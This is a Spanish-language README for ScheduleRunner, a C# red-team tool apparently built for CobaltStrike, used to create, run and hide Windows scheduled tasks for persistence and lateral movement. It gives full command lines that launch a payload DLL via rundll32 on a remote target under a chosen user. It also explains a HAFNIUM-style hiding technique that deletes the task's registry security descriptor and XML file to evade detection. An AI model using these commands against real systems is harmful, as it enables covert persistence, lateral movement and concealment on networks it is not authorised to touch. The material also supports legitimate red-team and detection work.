ScheduleRunner - Una herramienta C# con mayor flexibilidad para personalizar tareas programadas tanto para persistencia como para movimiento lateral en operaciones de red team

---

La tarea programada es una de las técnicas de ataque más populares en la última década y aún hoy es utilizada comúnmente por hackers/red teamers para persistencia y movimiento lateral.

Ya se han desarrollado varias herramientas en C# para simular el ataque mediante tareas programadas. He estado probando algunas de ellas, pero cada una tiene sus propias limitaciones a la hora de personalizar la tarea programada. Por lo tanto, este proyecto pretende ofrecer una herramienta en C# (compatible con execute-assembly de CobaltStrike) que incluya las funcionalidades que necesito y proporcione suficiente flexibilidad para personalizar la tarea programada.

Screenshot:

Métodos (/method):

Opciones para la creación de tareas programadas (/method:create):

[*] son campos obligatorios.

Opciones para la eliminación de tareas programadas (/method:delete):

[*] son campos obligatorios.

Opciones para la ejecución de tareas programadas (/method:run):

[*] son campos obligatorios.

Opciones para la consulta de tareas programadas (/method:query):

[*] son campos obligatorios.

Opciones para el movimiento lateral mediante tareas programadas (/method:move):

[*] son campos obligatorios.

Ejemplo

Crear una tarea programada llamada "Cleanup" que se ejecutará todos los días a las 23:30.

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

Crear una tarea programada llamada "Cleanup" que se ejecutará cada 4 horas en un servidor remoto

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

Eliminar una tarea programada llamada "Cleanup"

ScheduleRunner.exe /method:delete /taskname:Cleanup

Ejecutar una tarea programada llamada "Cleanup"

ScheduleRunner.exe /method:run /taskname:Cleanup

Consultar detalles de una tarea programada llamada "Cleanup" bajo la carpeta "\Microsoft\Windows\CertificateServicesClient" en un servidor remoto

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Consultar todas las tareas programadas bajo una carpeta específica "\Microsoft\Windows\CertificateServicesClient" en un servidor remoto

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Consultar todas las subcarpetas en la tarea programada

ScheduleRunner.exe /method:queryfolders

Realizar movimiento lateral mediante tarea programada a un servidor remoto usando una cuenta de usuario específica

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

Crear una tarea programada llamada "Cleanup" usando la técnica de ocultar tarea programada:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

Eliminar una tarea programada llamada "Cleanup" que usó la técnica de ocultar tarea programada:

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

Técnica de ocultar tarea programada

Esta técnica fue utilizada por el actor de amenazas HAFNIUM y descubierta recientemente por Microsoft. Su objetivo es hacer que la tarea programada no se pueda consultar mediante herramientas y que no sea visible en el Programador de tareas.

Para usar esta técnica, se requiere tener "NT AUTHORITY/SYSTEM" y ScheduleRunner hará lo siguiente por usted:

1. Eliminar el valor "SD" de "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[nombre de la tarea]"
2. Eliminar el archivo XML de la tarea programada "C:\Windows\System32\Tasks\[nombre de la tarea]"

Para eliminar una tarea programada creada con esta técnica, es necesario agregar "/technique:hide" en el método de eliminación para eliminarla correctamente.

Desventaja de esta técnica:

La tarea continuará ejecutándose hasta el próximo reinicio del sistema incluso si se elimina mediante el registro. Por lo tanto, es mejor no usar esta técnica en servidores para su operación.

Demo

Biblioteca y referencias utilizadas: